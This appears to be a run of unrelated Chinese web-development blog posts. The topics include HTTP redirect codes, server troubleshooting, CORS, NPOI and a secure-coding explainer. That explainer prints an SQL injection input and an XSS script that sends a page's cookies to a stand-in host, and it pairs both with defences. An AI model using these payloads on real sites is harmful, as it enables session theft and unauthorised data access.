一、概述
重定向常常和请求转发放在一起讨论(前者是两次不相关的请求,后者是一次请求服务器端转发),然而本文并不讨论两者的区别,而是HTTP 1.0规范和HTTP 1.1规范中关于重定向的区别,以及实际使用中的情况。
重定向实际使用是一个响应码(301或302或303或307)和一个响应头location,当浏览器收到响应的时候check响应码是3xx,则会取出响应头中location对应的url(重定向中url的编码问题,请参看点击打开链接),然后将该url替换浏览器地址栏并发起另一次HTTP事务。
关于301、302、303、307的区别,找不到好的文章,因此打算直撸HTTP 1.0规范和HTTP 1.1规范,结合一些实际的案例和tomcat实现,来说清楚这几个状态码的差异。
1. 百度https重定向
如下图所示,原请求访问的是http://www.baidu.com,然后返回302和location=https://www.baidu.com,从http转到https。不过关于响应行中302状态码的描述存在争议,在下文中会详细讨论。



2. tomcat重定向源码

二、详细
http 1.0规范中有2个重定向——301和302,在http 1.1规范中存在4个重定向——301、302、303和307,其中302是值得讨论讨论的。
1. http 1.0
301
301状态码在HTTP 1.0和HTTP 1.1规范中均代表永久重定向,对于资源请求,原来的url和响应头中location的url而言,资源应该对应location中的url。对于post请求的重定向,还是需要用户确认之后才能重定向,并且应该以post方法发出重定向请求。
关于post请求重定向用户确认的问题,实际上浏览器都没有实现;而且post请求的重定向应该发起post请求,这里浏览器也并不一定遵守,所以说HTTP规范的实现并未严格按照HTTP规范的语义。
在301中资源对应的路径修改为location的url,在SEO中并未出现问题,但是在302中就出现了302劫持问题,请往下看。

302
在http 1.0规范中,302表示临时重定向,location中的地址不应该被认为是资源路径,在后续的请求中应该继续使用原地址。
规范:原请求是post,则不能自动进行重定向;原请求是get,可以自动重定向;
实现:浏览器和服务器的实现并没有严格遵守HTTP中302的规范,服务器不加遵守的返回302,浏览器即便原请求是post也会自动重定向,导致规范和实现出现了二义性,由此衍生了一些问题,譬如302劫持,因此在HTTP 1.1中将302的规范细化成了303和307,希望以此来消除二义性。
补充:302劫持——A站通过重定向到B站的资源xxoo,A站实际上什么都没做但是有一个比较友好的域名,web资源xxoo存在B站并由B站提供,但是B站的域名不那么友好,因此对搜索引擎而言,可能会保存A站的地址对应xxoo资源而不是B站,这就意味着B站出了资源版权、带宽、服务器的钱,但是用户通过搜索引擎搜索xxoo资源的时候出来的是A站,A站什么都没做却被索搜引擎广而告之用户,B站做了一切却不被用户知道,价值被A站窃取了。

2. http 1.1
301
和http 1.0规范中保持一致,注意资源对应的路径应该是location中返回的url,而不再是原请求地址。
302
在HTTP 1.1中,实际上302是不再推荐使用的,只是为了兼容而作保留。规范中再次重申只有当原请求是GET or HEAD方式的时候才能自动的重定向,为了消除HTTP 1.0中302的二义性,在HTTP 1.1中引入了303和307来细化HTTP 1.0中302的语义。

303
在HTTP 1.0的时候,302的规范是原请求是post不可以自动重定向,但是服务器和浏览器的实现是运行重定向。
把HTTP 1.0规范中302的规范和实现拆分开,分别赋予HTTP 1.1中303和307,因此在HTTP 1.1中,303继承了HTTP 1.0中302的实现(即原请求是post,也允许自动进行重定向,结果是无论原请求是get还是post,都可以自动进行重定向),而307则继承了HTTP 1.0中302的规范(即如果原请求是post,则不允许进行自动重定向,结果是post不重定向,get可以自动重定向)。

307
在http 1.1规范中,307为临时重定向,注意划红线的部分,如果重定向307的原请求不是get或者head方法,那么浏览器一定不能自动的进行重定向,即便location有url,也应该忽略。
也就是307继承了302在HTTP 1.0中的规范(303继承了302在HTTP 1.0中的实现)。

3. 小结
在HTTP 1.0规范中,302的规范并没有被服务器和浏览器遵守,即规范和实现出现了二义性,因此在HTTP 1.1中,将302的规范和实现拆分成了303和307。

三、结论
虽然在不同版本的http规范中对重定向赋予了不同的语义,但是因为使用历史和服务器实现等原因,在实际中并不一定安全按照http规范实现,因此我个人感觉上述讨论只是一个了解,在实际写代码中302还是继续用吧···
参考:
1. 《http 1.0规范》
2. 《http 1.1规范》
3. 博客:点击打开链接
附注:
本文如有错漏,烦请不吝指正,谢谢!
HTML5 Sortable 是一款使用原生 HTML5 drag 和 drop API 来对列表或网格进行排序的 jQuery 插件。
下载和使用:官网
步骤:
1、给 <ul /> 添加 sortable 样式类
2、引入 jquery.sortable.js
3、$('.sortable').sortable();
通过绑定 sortupdate 事件来获取排序后的 DOM 位置,示例:
$('.sortable').sortable().bind('sortupdate', function (event, ui) {
var item = $(ui.item[0]);
var prev = item.prev();
$.post(window.location.pathname, {
xdo: 'fn_sort',
cid: item.data('cid'),
prev: prev.data('cid') // 可能为 undefined
}, function (json) {
if (json.result.success) {
} else {
toastr['error'](json.result.info);
}
}, 'json');
});本文不定时更新!
A: MySQL 执行 SHOW FULL PROCESSLIST
Q: 查看连接数和慢查询,适用于 MySQL 数据库无法连接 1040
A: iftop -i eth0
Q: 查看占用带宽的IP(命令:iftop -i eth0 -F ip/24),添加到安全组、防火墙、宝塔的黑名单中。
命令 grep -l "x.x.x.x" /www/wwwlogs/*.log 可以在 wwwlogs 目录下的所有 .log 文件中查找指定的恶意 IP。
A: goaccess -f xxx.log
Q: 实时分析网站日志,查看请求最多的IP
A: net.xoyozo.weblog 日志分析工具
Q: 自制的 Web 日志分析工具,可按多种方式排序,纠出可疑访问
A: 重启 web 服务器
Q: 有时候能解决 CPU 和内存消耗的问题,如果一会儿又升高,则需要找另外的原因
Q: 500 服务器内部错误
502 Bad Gateway
504 Gateway Time-out
A: 查看 php 日志,可能的路径:
/usr/local/php/var/log/php-fpm.log
/www/server/php/[版本]/var/log/php-fpm.log
Q: RDS MySQL IOPS 使用率高的原因和处理
A: 根据时间点查看慢查询
Q: Discuz! 论坛界面错乱、表情不显示、模块缺失、登录失败、发帖失败等等
A: 进入管理中心 - 工具 - 更新缓存,能解决大部分问题
Q: Discuz! 浏览帖子提示“没有找到帖子”
A: 进入数据库,修复表 pre_forum_post 或分表
Q: CPU 100% 或内存 100%,负载100+
A: 原因有很多,以下是一些建议:
Windows 在任务管理器中查看进程
当前是否有正常的大流量访问(譬如民生类论坛的某个帖子突然火了)特别是重启无效的情况
对比网站日志大小可大致确定哪个网站被大量恶意请求。
观察:命令 top
排查:通过关闭网站来确定是某网站的问题,通过关闭功能确定是某功能的问题,如果 nginx 崩溃请参下条
案例:通过修改 mobcent 文件夹名确定是安米的文件被疯狂请求导致的,更新插件和 mobcent 包解决问题。
如果都是正常访问,top 看到很多 php-fpm,而且个个占用 CPU 还不小,那么根据服务器硬件配置来修改 php 的并发量,如宝塔面板在 php 设置 - 性能调整 页,300 并发方案的推荐配置是:
max_children:300
start_servers:30
min_spare_servers:30
max_spare_servers:180另外,memcached 或 redis 的配置也可以进行相应的修改。
另一个案例是 kswapd0 进程占满 CPU,原因是内存不足导致 swap 分区与内存频繁交换数据。同样调整 php 的设置即可。
也可以通过 iftop 来查询占用带宽较多的 IP 并封禁(出方向),如果 CPU 能降下来,那这个 IP 就是罪魁祸首。
* 使用 WAF 的审计 WAF 日志,未使用 WAF 的审计 Web 日志。
Q: 阿里云 ECS 的 CPU 突然达到 100%,并持续到次日 0:00 左右
A: 可能 ECS 是 t5 规格,受 CPU 积分制度限制,积分耗尽时 CPU 不工作。解决方法是更换其它规格产品或升配。
Q: ASP.NET 所在服务器 CPU 突然达到 50% 或 100%,并持续
A: 首先确定哪个网站,再依次排查网站各功能。可能是 HttpWebRequest 请求远程数据时长时间未返回结果导致的程序阻塞。
Q: nginx 服务停止
A: 查看 nginx 日志
WDCP 路径:/www/wdlinux/nginx-1.0.15/logs/error.log
Q: 公网出带宽 100%,其它指标正常
A: Windows 在任务管理器-性能-资源监视器-网络 查看占用带宽的进程PID,然后在任务管理器-详细信息中的找到对应的用户(如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽);如果是被 PID 为 4 的 System 占用大部分带宽,也可以尝试重启 IIS 来解决。
CentOS 使用 nethogs 查看占用带宽的进程PID和USER,如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽,否则只能一个个关闭网站来判断,不知道大家有没有好的方法?当然还可以直接用 iftop 命令查看占用带宽的 IP。另外,查看每个网站在那个时间段的日志文件的大小也能大概看出是哪个网站被采集了。
A: Linux 显示每个用户会话的登入和登出信息
utmpdump /var/log/wtmp
参考:http://www.tulaoshi.com/n/20160331/2050641.html
Q: RDS 的 CPU 100%
A: 如果是突然持续占满(同时伴随 ECS 资源使用率下降,页面出现 502),很大可能是受攻击(或社交网站推送突发事件等),查看“慢查询”,添加相关索引;如果是 Discuz! 论坛,可尝试修复优化表 pre_common_session。
如果是数日缓步上升,或新项目上线,考虑 SQL 慢查询,思路:MySQL / SQL Server。
MySQL:SHOW FULL PROCESSLIST
SQL Server:sp_who
Q: php 网站的服务器,内存在数天内缓慢上升
A: 大概是 php-fpm 占用过多,或进程数太多
更改 php 的配置(如 max_spare_servers),执行:service php-fpm reload
Q: 进程 cloudfs 占用内存过多
A: 参:https://xoyozo.net/Blog/Details/cloudfs-cache
Q: RDS 磁盘占用过大
A: 参:https://xoyozo.net/Blog/Details/how-to-use-rds
Q: ECS 受到 DDoS 攻击怎么办?
A: 参:https://xoyozo.net/Blog/Details/aliyun-ddos-without-bgp
Q: 如果 ECS 和 RDS 各项指标都没有异常,但网页打开慢或打不开502,TTFB 时间很长,是什么原因?(ECS 的 CPU 100%,RDS 的连接数上升,也可参考此条)
A: 数据库有坏表,尝试优化/修复表(慢 SQL 日志中锁等待时间较长的表?),或主备切换。show full processlist 时看到许多
DELETE FROM pre_common_session WHERE sid='******' OR lastactivity<****** OR (uid='0' AND ip1='*' AND ip2='*' AND ip3='*' AND ip4='*' AND lastactivity>******)
Q: Discuz! 创始人(站长)密码被改
A: 数据库找到 pre_ucenter_members 表,复制其它的已知登录密码的账号,复制其 password 和 salt 两个字段的值到创始人账号中,创始人账号即可用该密码登录了。
Q: 通过 iftop 观察到,Discuz! 网站从 RDS 数据库到 ECS 网站服务器私网流量非常大,远大于公网流量
A: 可能是缓存出问题了,尝试卸载重装 Redis 来解决。
Q: 宝塔面板中安装的 Redis 经常自动停止
A: 尝试卸载重装 Redis 来解决。
Q: 马甲客户端出现“您的网络有些问题”
A: 原因有许多,其中一个就是新建了一个数据表,然后 /source/class/table/ 下面丢失了对应的文件,具体可以找官方排查原因。
Q: 排查服务器安全需要检查哪些日志?
A: Web日志、登录日志(/var/log/secure)等。
Q: 带宽波形以几分钟为周期呈锯齿状波动是什么原因?
A: 该现象主要由防火墙流量管控机制与检测周期设置共同作用所致。防火墙基于预设的带宽阈值执行安全防护策略,当检测到流量峰值超过设定阈值时,将自动触发限流策略拒绝后续请求。待流量回落至安全阈值后,系统自动恢复服务访问权限。若防火墙的带宽采样检测周期设置过长(如以分钟为单位的检测间隔),将导致系统对实时流量变化的响应出现迟滞。这种周期性的检测机制会使带宽监控数据在阈值临界点附近呈现规律性的锯齿状波动特征。
优化建议:可通过调整防火墙的流量检测周期至更小时间粒度(如10-15秒),或采用动态流量整形策略,以实现更平滑的带宽控制效果。
补充说明:对于阿里云监控数据的调用,建议注意接口调用频率管控。高频调用云监控API接口将触发阿里云的API计费策略,可能产生额外的资源消耗成本。
其它案例
某台 ECS 上的多个网站出现 502,查询到 CPU / 内存 / 带宽 都比平时高,但都未满。用 iftop 看到连接的一个远程 Redis 占用内网带宽非常高。尝试重启远程 Redis 未果。尝试重启 ECS 上的 nginx 未果。尝试重启 ECS 未果。进入 ECS 的宝塔面板,重启 PHP 有效。
示例:
<form action="javascript:fn_submit()">
<div>
手机号码:
<input type="tel" required="required" pattern="1\d{10}" title="手机号码由以1开头的11位数字组成" />
</div>
<div>
身份证号码:
<input type="text" required="required" pattern="\d{17}[\dX]" title="身份证号码由18位数字或17位数字加字母X组成" />
</div>
<div>
<input type="submit" value="提交" />
</div>
</form>
<script>
function fn_submit() {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
</script>form 的 action 使用 javascript 调用 fn_submit 方法,在这个方法内可以使用 jQuery 的 ajax 来 POST 数据,当然还可以搭配使用 HTML5 的 FormData。这样相比于直接在 submit 按钮上写事件的好处是可以用到 HTML5 的表单验证功能,并且不会重载页面。
Vue 版本:
<form v-on:submit="fn_submit" method="dialog">
</form>var app = new Vue({
el: '#app',
methods: {
fn_submit: function () {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
}
});论坛使用阿里云的 ECS + RDS + OSS 搭建,最近经常隔三差五出现 RDS 的 CPU 和连接数突然满负荷的情况,导致数据库无法连接。这种情况一般会认为是受到了攻击,因为如果是访问量大或者是哪里有慢查询,应该是资源消耗逐步上升直至崩溃的,沿着这个思路去查 Web 日志封 IP,但效果不大,关闭功能、卸载插件也没用。
开启阿里云后台的 SQL 审计,能看到 SQL 查询日志,但是很难找有问题的 SQL。
最终在重启 RDS 后执行以下语句列出所有正在执行或阻塞的语句:
show full processlist在结果列中,Command 为 Query 是正在执行查询操作的语句,发现几乎所有的 SQL 都是:
SELECT * FROM pre_forum_thread WHERE tid>0 AND fid IN('42','95','247','41','567','62','149','229','37','230','93','190','284','75','38','568') AND `fid`<>'546' AND replies > 0 AND displayorder>=0 ORDER BY lastpost DESC LIMIT 10再加上之前出现的情况是,论坛帖子列表和详情页面能正常打开时,论坛首页也不一定能打开,所以基本定位到是“首页四格”的数据库查询导致的。
进入论坛后台首页四格设置,对比了版块 id 后确认了这个 bug。
单独执行该语句大约耗时 5s(主题帖 200 万),设置的缓存时间 10 分钟。
processlist 中看到这些语句的 state 都是 Creating sort index,尝试去掉 ORDER BY 后执行果然只需要 16ms。
5s 内的访客都是从数据库读取的,能处理完就正常,否则累积就导致 RDS 崩溃,每 10 分钟都会重现一次风险。
当然这个问题可以通过添加索引来解决。
互联网项目里边,SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。
这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说,假设页面输出为:
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。
要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。
最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
在本教程中,我解释了如何使用 jQuery 和 ASP.NET 发送跨域 AJAX 请求,PHP 开发者请参考此文。
跨域 AJAX 请求有两种方式:
1). 使用 JSONP
2). 使用 CORS(跨源资源共享)
1). 使用 JSONP
我们可以使用 JSONP 发送跨域 AJAX 请求。下面是简单的 JSONP 请求:
$.ajax({
url : "http://xoyozo.net/cross-domain-cors/jsonp.aspx",
dataType:"jsonp",
jsonp:"mycallback",
success:function(data)
{
alert("Name:"+data.name+"nage:"+data.age+"nlocation:"+data.location);
}
});jsonp.aspx 响应是:
mycallback({"name": "Ravishanker", "age": 32, "location": "India"})
当 JSONP 请求成功时,调用 mycallback 函数。
这能在所有浏览器中正常运行,但问题是:JSONP 只支持 GET 方法,不支持 POST 方法。
2). 使用 CORS(跨源资源共享)
出于安全考虑,浏览器不允许跨域 AJAX 请求。仅当服务器指定相同的源安全策略时,才允许跨域请求。常见的异常警告:
You can not send Cross Domain AJAX requests:
XMLHttpRequest cannot load. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin is therefore not allowed access.
阅读更多关于跨源资源共享(CORS):Wiki
要启用 CORS,您需要在服务器中指定以下 HTTP 标头。
Access-Control-Allow-Origin – 允许跨域请求的域的名称。 * 表示允许所有域。
Access-Control-Allow-Methods – 在请求期间可以使用 HTTP 方法的列表。
Access-Control-Allow-Headers – 可以在请求期间使用 HTTP 头列表。
在 ASP.NET 中,您可以使用以下代码设置标头:
Response.AddHeader("Access-Control-Allow-Origin", "*");
Response.AddHeader("Access-Control-Allow-Methods", "GET, PUT, POST, DELETE, OPTIONS");
Response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Content-Range, Content-Disposition, Content-Description");CORS 在所有最新的浏览器中正常工作,但不支持 IE8 和 IE9,异常:
You can not send Cross Domain AJAX requests: No Transport
IE8、IE9 使用 window.XDomainRequest 处理 AJAX 请求。我们可以使用这个 jQuery 插件:
https://github.com/MoonScript/jQuery-ajaxTransport-XDomainRequest
为了在 IE 中使用 XDomainRequest,请求必须是:
a). GET 或 POST
数据必须以 Content-Type 为 text/plain 的方式发送
b). HTTP 或 HTTPS
协议必须与调用页面相同
c). 异步
具体步骤:
第一步:在 <head> 中添加脚本
<script type='text/javascript' src="http://cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.1/jquery.xdomainrequest.min.js"></script>
第二步:在 $.ajax 请求中设置 contentType 值 text/plain。
var contentType ="application/x-www-form-urlencoded; charset=utf-8";
if(window.XDomainRequest) // for IE8,IE9
contentType = "text/plain";
$.ajax({
url: "http://xoyozo.net/cross-domain-cors/post.aspx",
data: "name=Ravi&age=12",
type: "POST",
dataType: "json",
contentType: contentType,
success: function(data)
{
alert("Data from Server" + JSON.stringify(data));
},
error: function(jqXHR, textStatus, errorThrown)
{
alert("You can not send Cross Domain AJAX requests: " + errorThrown);
}
});post.aspx 源码:
Response.AddHeader("Access-Control-Allow-Origin", "*");
Response.AddHeader("Access-Control-Allow-Methods", "GET, PUT, POST, DELETE, OPTIONS");
Response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Content-Range, Content-Disposition, Content-Description");
NameValueCollection nvc = new NameValueCollection();
// nvc.Add(Request.QueryString);
nvc.Add(Request.Form);
if (nvc.Count == 0)
{
string data = System.Text.Encoding.Default.GetString(Request.BinaryRead(Request.TotalBytes));
nvc = HttpUtility.ParseQueryString(data);
}
string name = nvc["name"];
int age = Convert.ToInt32(nvc["age"]);
| 成员名称 | 说明 |
|---|---|
| Accepted |
等效于 HTTP 状态 202。 Accepted 指示请求已被接受做进一步处理。 |
| Ambiguous |
等效于 HTTP 状态 300。 Ambiguous 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向,并遵循与此响应关联的 Location 标头的内容。 |
| BadGateway |
等效于 HTTP 状态 502。 BadGateway 指示中间代理服务器从另一代理或原始服务器接收到错误响应。 |
| BadRequest |
等效于 HTTP 状态 400。 BadRequest 指示服务器未能识别请求。如果没有其他适用的错误,或者不知道准确的错误或错误没有自己的错误代码,则发送 BadRequest。 |
| Conflict |
等效于 HTTP 状态 409。 Conflict 指示由于服务器上的冲突而未能执行请求。 |
| Continue |
等效于 HTTP 状态 100。 Continue 指示客户端可能继续其请求。 |
| Created |
等效于 HTTP 状态 201。 Created 指示请求导致在响应被发送前创建新资源。 |
| ExpectationFailed |
等效于 HTTP 状态 417。 ExpectationFailed 指示服务器未能符合 Expect 头中给定的预期值。 |
| Forbidden |
等效于 HTTP 状态 403。 Forbidden 指示服务器拒绝满足请求。 |
| Found |
等效于 HTTP 状态 302。 Found 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。 |
| GatewayTimeout |
等效于 HTTP 状态 504。 GatewayTimeout 指示中间代理服务器在等待来自另一个代理或原始服务器的响应时已超时。 |
| Gone |
等效于 HTTP 状态 410。 Gone 指示请求的资源不再可用。 |
| HttpVersionNotSupported |
等效于 HTTP 状态 505。 HttpVersionNotSupported 指示服务器不支持请求的 HTTP 版本。 |
| InternalServerError |
等效于 HTTP 状态 500。 InternalServerError 指示服务器上发生了一般错误。 |
| LengthRequired |
等效于 HTTP 状态 411。 LengthRequired 指示缺少必需的 Content-length 头。 |
| MethodNotAllowed |
等效于 HTTP 状态 405。 MethodNotAllowed 指示请求的资源上不允许请求方法(POST 或 GET)。 |
| Moved |
等效于 HTTP 状态 301。 Moved 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。 |
| MovedPermanently |
等效于 HTTP 状态 301。 MovedPermanently 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。 |
| MultipleChoices |
等效于 HTTP 状态 300。 MultipleChoices 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向,并遵循与此响应关联的 Location 标头的内容。 |
| NoContent |
等效于 HTTP 状态 204。 NoContent 指示已成功处理请求并且响应已被设定为无内容。 |
| NonAuthoritativeInformation |
等效于 HTTP 状态 203。 NonAuthoritativeInformation 指示返回的元信息来自缓存副本而不是原始服务器,因此可能不正确。 |
| NotAcceptable |
等效于 HTTP 状态 406。 NotAcceptable 指示客户端已用 Accept 头指示将不接受资源的任何可用表示形式。 |
| NotFound |
等效于 HTTP 状态 404。 NotFound 指示请求的资源不在服务器上。 |
| NotImplemented |
等效于 HTTP 状态 501。 NotImplemented 指示服务器不支持请求的函数。 |
| NotModified |
等效于 HTTP 状态 304。 NotModified 指示客户端的缓存副本是最新的。未传输此资源的内容。 |
| OK |
等效于 HTTP 状态 200。 OK 指示请求成功,且请求的信息包含在响应中。这是最常接收的状态代码。 |
| PartialContent |
等效于 HTTP 状态 206。 PartialContent 指示响应是包括字节范围的 GET 请求所请求的部分响应。 |
| PaymentRequired |
等效于 HTTP 状态 402。保留 PaymentRequired 以供将来使用。 |
| PreconditionFailed |
等效于 HTTP 状态 412。 PreconditionFailed 指示为此请求设置的条件失败,且无法执行此请求。条件是用条件请求标头(如 If-Match、If-None-Match 或 If-Unmodified-Since)设置的。 |
| ProxyAuthenticationRequired |
等效于 HTTP 状态 407。 ProxyAuthenticationRequired 指示请求的代理要求身份验证。Proxy-authenticate 头包含如何执行身份验证的详细信息。 |
| Redirect |
等效于 HTTP 状态 302。 Redirect 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。 |
| RedirectKeepVerb |
等效于 HTTP 状态 307。 RedirectKeepVerb 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求还将使用 POST 方法。 |
| RedirectMethod |
等效于 HTTP 状态 303。作为 POST 的结果,RedirectMethod 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。 |
| RequestedRangeNotSatisfiable |
等效于 HTTP 状态 416。 RequestedRangeNotSatisfiable 指示无法返回从资源请求的数据范围,因为范围的开头在资源的开头之前,或因为范围的结尾在资源的结尾之后。 |
| RequestEntityTooLarge |
等效于 HTTP 状态 413。 RequestEntityTooLarge 指示请求太大,服务器无法处理。 |
| RequestTimeout |
等效于 HTTP 状态 408。 RequestTimeout 指示客户端没有在服务器期望请求的时间内发送请求。 |
| RequestUriTooLong |
等效于 HTTP 状态 414。 RequestUriTooLong 指示 URI 太长。 |
| ResetContent |
等效于 HTTP 状态 205。 ResetContent 指示客户端应重置(或重新加载)当前资源。 |
| SeeOther |
等效于 HTTP 状态 303。作为 POST 的结果,SeeOther 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。 |
| ServiceUnavailable |
等效于 HTTP 状态 503。 ServiceUnavailable 指示服务器暂时不可用,通常是由于过多加载或维护。 |
| SwitchingProtocols |
等效于 HTTP 状态 101。 SwitchingProtocols 指示正在更改协议版本或协议。 |
| TemporaryRedirect |
等效于 HTTP 状态 307。 TemporaryRedirect 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求还将使用 POST 方法。 |
| Unauthorized |
等效于 HTTP 状态 401。 Unauthorized 指示请求的资源要求身份验证。WWW-Authenticate 头包含如何执行身份验证的详细信息。 |
| UnsupportedMediaType |
等效于 HTTP 状态 415。 UnsupportedMediaType 指示请求是不支持的类型。 |
| Unused |
等效于 HTTP 状态 306。 Unused 是未完全指定的 HTTP/1.1 规范的建议扩展。 |
| UpgradeRequired |
等效于 HTTP 状态 426。 UpgradeRequired 指示客户端应切换为诸如 TLS/1.0 之类的其他协议。 |
| UseProxy |
等效于 HTTP 状态 305。 UseProxy 指示请求应使用位于 Location 头中指定的 URI 的代理服务器。 |
http://npoi.codeplex.com/documentation
免费,开源,无需安装 Office,功能强大,兼容性好,使用方便,可以在 Visual Studio 的 NuGet 管理器中直接搜索安装。
导出 Excel 简单示例:
HSSFWorkbook book = new HSSFWorkbook();
ISheet sheet = book.CreateSheet("工作表1");
IRow r0 = sheet.CreateRow(0);
r0.CreateCell(0).SetCellValue("行1列1");
r0.CreateCell(1).SetCellValue("行1列2");
IRow r1 = sheet.CreateRow(1);
r1.CreateCell(0).SetCellValue("行2列1");
r1.CreateCell(2).SetCellValue("行2列3");
MemoryStream ms = new MemoryStream();
book.Write(ms);
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", "文件名"));
Response.BinaryWrite(ms.ToArray());
Response.End();
book = null;
ms.Close();
ms.Dispose();字体相关:
ICellStyle style = book.CreateCellStyle();
IFont font = book.CreateFont();
font.FontHeightInPoints = 20; // 字体大小
font.Color = HSSFColor.White.Index; // 字体颜色
style.SetFont(font);
style.FillForegroundColor = HSSFColor.Red.Index; // 背景色
style.FillPattern = FillPattern.SolidForeground;
cell.CellStyle = style;合并单元格:
CellRangeAddress cra = new CellRangeAddress(r - 1, r - 1, c - 1, c);
sheet.AddMergedRegion(cra);宽度自适应:
for (int i = 1; i < c; i++) {
sheet.AutoSizeColumn(i);
}函数:
cell.SetCellFormula("SUM(B2:B4)");顺便提一句,ICellStyle 和 IFont 最好一种样式一个变量先定义好再用,不要在循环里疯狂地 Create,否则超出数量(512个)会导致样式失效。
其它参考:http://www.ez2o.com/Blog/Post/csharp-Excel-NPOI-Font-Style